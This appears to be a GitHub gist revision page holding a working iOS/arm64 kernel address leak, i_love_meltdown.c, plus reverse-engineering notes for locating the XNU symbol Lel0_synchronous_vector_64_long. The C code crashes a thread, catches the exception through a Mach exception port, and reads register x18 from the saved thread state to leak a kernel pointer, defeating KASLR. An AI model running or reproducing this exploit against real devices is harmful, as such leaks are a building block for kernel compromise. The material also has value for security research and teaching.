Skip to content

Instantly share code, notes, and snippets.

@stek29
Last active October 8, 2021 06:12
Show Gist options
  • Select an option

  • Save stek29/e68e9eae382b975093252d6117b6b501 to your computer and use it in GitHub Desktop.

Select an option

Save stek29/e68e9eae382b975093252d6117b6b501 to your computer and use it in GitHub Desktop.

Revisions

  1. stek29 revised this gist Apr 6, 2018. 2 changed files with 178 additions and 18 deletions.
    18 changes: 0 additions & 18 deletions Lel0_synchronous_vector_64_long.md
    Original file line number Diff line number Diff line change
    @@ -1,18 +0,0 @@
    Finding Lel0_synchronous_vector_64_long:

    - Find string xref `"\"cpu_data_alloc() failed\n\""` (in `_ml_processor_register`)
    - Next instructions should be `mov x19, 0; mov x0, x19; bl _cpu_data_init;`.
    The `mov x0, x19` is also branched to after bzero call just to be sure.
    - Go to `_cpu_data_init`.
    It'd initialize a lot of structure feilds to constants, and two of them would be set to ptrs.
    Right before the end, `_exc_vectors_table` would be referenced (after memset zeroing).
    - `_exc_vectors_table` is an array of 12 function ptrs.
    `Lel0_synchronous_vector_64_long` is 9th (if counting starts at 1).

    To verify:
    - It should theoretically end with 25c (at least on devices without KTRR) due to how exception handlers are aligned
    - Compare to [`Lel0_synchronous_vector_64_long` in xnu sources](http://xr.anadoxin.org/source/xref/macos-10.13.2-highsierra/xnu-4570.31.3/osfmk/arm64/locore.s#420).
    - In the end it loads `fleh_synchronous` into x1 and branches to `fleh_dispatch64`.
    `fleh_dispatch64` calls `_sleh_synchronous`.
    `_sleh_synchronous` references a lot of stuff, but one of the first string references
    is `\"ESR (0x%x) for instruction trapped from U32, but saved state is 64-bit.\"`.
    178 changes: 178 additions & 0 deletions i_love_meltdown.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,178 @@
    // based on ian beer's code
    // just use https://github.com/bazad/x18-leak , it's way cleaner

    // by stek29
    // see bazad's writeup: http://bazad.github.io/2018/04/kernel-pointer-crash-log-ios

    #if 0
    From https://gist.github.com/stek29/e68e9eae382b975093252d6117b6b501

    Finding Lel0_synchronous_vector_64_long:

    - Find string xref `"\"cpu_data_alloc() failed\n\""` (in `_ml_processor_register`)
    - Next instructions should be `mov x19, 0; mov x0, x19; bl _cpu_data_init;`.
    The `mov x0, x19` is also branched to after bzero call just to be sure.
    - Go to `_cpu_data_init`.
    It'd initialize a lot of structure feilds to constants, and two of them would be set to ptrs.
    Right before the end, `_exc_vectors_table` would be referenced (after memset zeroing).
    - `_exc_vectors_table` is an array of 12 function ptrs.
    `Lel0_synchronous_vector_64_long` is 9th (if counting starts at 1).

    To verify:
    - It should theoretically end with 25c (at least on devices without KTRR) due to how exception handlers are aligned
    - Compare to [`Lel0_synchronous_vector_64_long` in xnu sources](http://xr.anadoxin.org/source/xref/macos-10.13.2-highsierra/xnu-4570.31.3/osfmk/arm64/locore.s#420).
    - In the end it loads `fleh_synchronous` into x1 and branches to `fleh_dispatch64`.
    `fleh_dispatch64` calls `_sleh_synchronous`.
    `_sleh_synchronous` references a lot of stuff, but one of the first string references
    is `\"ESR (0x%x) for instruction trapped from U32, but saved state is 64-bit.\"`.

    #endif

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <pthread.h>
    #include <mach/mach.h>

    mach_port_t make_exception_port() {
    kern_return_t err;
    mach_port_t p = MACH_PORT_NULL;

    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
    if (err != KERN_SUCCESS) {
    printf("mach port allocation failed: %s\n", mach_error_string(err));
    return MACH_PORT_NULL;
    }

    err = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
    if (err != KERN_SUCCESS) {
    printf("right insertion failed: %s\n", mach_error_string(err));
    mach_port_destroy(mach_task_self(), p);
    return MACH_PORT_NULL;
    }

    return p;
    }


    // exc_server calls this function when it processes EXCEPTION_STATE exception
    kern_return_t catch_exception_raise_state
    (
    mach_port_t exception_port,
    exception_type_t exception,
    const exception_data_t code,
    mach_msg_type_number_t codeCnt,
    int *flavor,
    const thread_state_t old_state,
    mach_msg_type_number_t old_stateCnt,
    thread_state_t new_state,
    mach_msg_type_number_t *new_stateCnt
    )
    {
    // get x18 from old thread state
    // and pass it to pthread_exit
    // (so we can retrive it later with pthread_join)

    _STRUCT_ARM_THREAD_STATE64* old_thr_state = (_STRUCT_ARM_THREAD_STATE64*)(old_state);
    _STRUCT_ARM_THREAD_STATE64* new_thr_state = (_STRUCT_ARM_THREAD_STATE64*)(new_state);

    // zero new thread state
    memset(new_thr_state, 0, sizeof(*new_thr_state));

    // count is obviously same
    *new_stateCnt = old_stateCnt;

    // redirect execution to pthread_exit
    new_thr_state->__pc = (uint64_t)pthread_exit;

    // pthread_exit needs a minimal stack
    uint64_t crash_stack = (uint64_t) malloc(0x4000);
    crash_stack += 0x3ff0;
    new_thr_state->__sp = (uint64_t)crash_stack;

    // set value_ptr to leaked address (which is in x18)
    new_thr_state->__x[0] = old_thr_state->__x[18];

    return KERN_SUCCESS;
    }

    union max_msg {
    union __RequestUnion__exc_subsystem requests;
    union __ReplyUnion__exc_subsystem replies;
    };

    extern boolean_t exc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);

    void* thread_func(void* exception_port) {
    // set our exception port
    (void)thread_set_exception_ports(mach_thread_self(),
    EXC_MASK_ALL,
    (mach_port_t) exception_port,
    EXCEPTION_STATE, // we want to receive a catch_exception_raise_state message
    ARM_THREAD_STATE64);
    // die
    __builtin_trap();
    }

    int port_has_message(mach_port_t port) {
    kern_return_t err;
    mach_port_seqno_t msg_seqno = 0;
    mach_msg_size_t msg_size = 0;
    mach_msg_id_t msg_id = 0;
    mach_msg_trailer_t msg_trailer; // NULL trailer
    mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer);
    err = mach_port_peek(mach_task_self(),
    port,
    MACH_RCV_TRAILER_NULL,
    &msg_seqno,
    &msg_size,
    &msg_id,
    (mach_msg_trailer_info_t)&msg_trailer,
    &msg_trailer_size);

    return (err == KERN_SUCCESS);
    }

    // port needs to have a send right
    void crash_thread_with_handler_port(mach_port_t port) {
    // start a new thread passing it the exception port
    pthread_t t;
    pthread_create(&t, NULL, thread_func, (void*)(uint64_t)port);

    // associate the pthread_t with the port so that we can join the correct pthread
    // when we receive the exception message and it exits:
    (void) mach_port_set_context(mach_task_self(), port, (mach_port_context_t)t);
    // wait until the message has actually been sent:
    while (!port_has_message(port)) usleep(10);
    }

    uint64_t post_crash_get_leaked(mach_port_t port) {
    // use good old exc_server from Mach (even pre-apple :)
    // it would end up calling our catch_exception_raise_state
    (void) mach_msg_server_once(exc_server, sizeof(union max_msg),
    port, MACH_MSG_TIMEOUT_NONE);

    // get the pthread context back from the port and join it:
    pthread_t t;
    (void) mach_port_get_context(mach_task_self(), port, (mach_port_context_t*) &t);

    uint64_t leaked;
    // value_ptr contains addr leaked in exception handler
    pthread_join(t, (void**) &leaked);
    return leaked;
    }

    // leak Lel0_synchronous_vector_64_long
    uint64_t get_dat_addr(void) {
    // prepare port
    mach_port_t exc_handler_port = make_exception_port();

    // crash thread with this exception port
    crash_thread_with_handler_port(exc_handler_port);

    // retrive leaked address from crashed thread state
    uint64_t val = post_crash_get_leaked(exc_handler_port);

    printf("Lel0_synchronous_vector_64_long: 0x%llx\n", val);
    return val;
    }
  2. stek29 created this gist Apr 6, 2018.
    18 changes: 18 additions & 0 deletions Lel0_synchronous_vector_64_long.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,18 @@
    Finding Lel0_synchronous_vector_64_long:

    - Find string xref `"\"cpu_data_alloc() failed\n\""` (in `_ml_processor_register`)
    - Next instructions should be `mov x19, 0; mov x0, x19; bl _cpu_data_init;`.
    The `mov x0, x19` is also branched to after bzero call just to be sure.
    - Go to `_cpu_data_init`.
    It'd initialize a lot of structure feilds to constants, and two of them would be set to ptrs.
    Right before the end, `_exc_vectors_table` would be referenced (after memset zeroing).
    - `_exc_vectors_table` is an array of 12 function ptrs.
    `Lel0_synchronous_vector_64_long` is 9th (if counting starts at 1).

    To verify:
    - It should theoretically end with 25c (at least on devices without KTRR) due to how exception handlers are aligned
    - Compare to [`Lel0_synchronous_vector_64_long` in xnu sources](http://xr.anadoxin.org/source/xref/macos-10.13.2-highsierra/xnu-4570.31.3/osfmk/arm64/locore.s#420).
    - In the end it loads `fleh_synchronous` into x1 and branches to `fleh_dispatch64`.
    `fleh_dispatch64` calls `_sleh_synchronous`.
    `_sleh_synchronous` references a lot of stuff, but one of the first string references
    is `\"ESR (0x%x) for instruction trapped from U32, but saved state is 64-bit.\"`.